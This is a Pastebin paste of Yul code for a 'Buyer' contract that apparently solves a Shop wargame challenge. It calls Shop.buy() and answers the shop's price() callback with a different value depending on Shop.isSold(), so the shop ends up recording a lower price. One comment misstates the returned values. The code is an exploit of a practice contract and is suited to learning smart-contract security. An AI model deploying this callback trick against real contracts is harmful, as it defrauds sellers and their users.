Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Use handwritten YUL instead of Solidity to minimize gas costs
- object "Buyer" {
- code {
- // Deploy the contract
- datacopy(0, dataoffset("runtime"), datasize("runtime"))
- return(0, datasize("runtime"))
- }
- object "runtime" {
- code {
- let data := calldataload(0)
- if iszero(data) {
- // If calldata is zero, this is the initial call by the attacker.
- // Call Shop.buy()
- mstore(0x20, 0xa6f2ae3a00000000000000000000000000000000000000000000000000000000) /* selector(buy()) */
- let success := call(100000, SHOP_CONTRACT_ADDRESS, 0, 0x20, 0x04, 0x00, 0x00)
- if iszero(success) {
- revert(0, 0)
- }
- return(0, 0x0)
- }
- // If calldata is not zero, then this is the call from Shop into our price() method.
- // Call into Shop.isSold()
- mstore(0x20, 0xe852e74100000000000000000000000000000000000000000000000000000000) /* selector(isSold()) */
- let success := staticcall(3000, SHOP_CONTRACT_ADDRESS, 0x20, 0x04, 0x00, 0x20)
- if iszero(success) {
- revert(0, 0)
- }
- // If Shop.isSold() == true, return 0, otherwise return 100.
- switch mload(0) case 0 { mstore(0, 100) } default { mstore(0, 1) }
- return(0, 0x20)
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement